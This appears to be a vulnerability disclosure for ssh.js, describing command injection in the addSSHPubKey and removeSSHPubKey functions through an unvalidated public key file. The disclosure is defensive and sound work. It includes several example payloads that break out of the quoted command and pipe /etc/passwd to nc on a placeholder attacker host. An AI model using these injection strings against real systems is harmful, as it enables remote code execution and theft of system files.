Prevent local and remote command injection in ssh.js

exports.addSSHPubKey
-
``exports.addSSHPubKey`` uses string concatenation to build a command that adds public keys to ``~/.ssh/authorized_keys`` on a remote AWS host via SSH. The parent function passes in the AWS instance's IP address as ``host``, which is extracted from a JSON object returned from an AWS API call. The ``pubkey`` parameter is the user-defined location of an SSH public key file. 

``pubkey`` is presumed to be a text file with public keys separated by ``\n`` or ``\r\n``, but there is no validation. If OS commands are inserted, this could be used as an OS command injection vector for the local host.

Attacking the awsbox host:
```
'; cat /etc/passwd | nc some_attacker_ip 1337 #
```
It's conceivable that someone would use this feature to upload a ``pubkey`` file sent by another (malicious) person. This could have the unintentional consequence of allowing that malicious person to get code execution on the uploader's computer.  

-

OS command injection is also possible on the remote AWS instance: 
```
" err; cat /etc/passwd | nc other_attacker_ip 1337 # 
```
Though, this is probably a non-issue as the purpose of the tool is to allow remote root access to the AWS instance.

Cross-reference: https://github.com/liftsecurity/nodesecurity/issues/194 

---

exports.removeSSHPubKey
-
``exports.removeSSHPubKey`` uses string concatenation to build a command that deletes SSH public keys from ``~/.ssh/authorized_keys`` on a remote AWS host via SSH. The parent function passes in the AWS instance's IP address as the ``host`` parameter, which is extracted from a JSON object returned from an AWS API call. The ``escapedPubkey`` parameter is the user-defined location of an SSH public key file. 

``escapedPubkey`` is presumed to be a text file with public keys separated by ``\n`` or ``\r\n``, but there is no validation. If OS commands are inserted, this could be used as an OS command injection vector for the local host.

Attacking the awsbox host:
```
'; cat /etc/passwd | nc some_attacker_ip 1337 #
```
It's conceivable that someone would use this feature to remove a public key using a file sent by another (malicious) person. This could have the unintentional consequence of allowing that malicious person to get code execution on the uploader's computer.  

Cross-reference: https://github.com/liftsecurity/nodesecurity/issues/182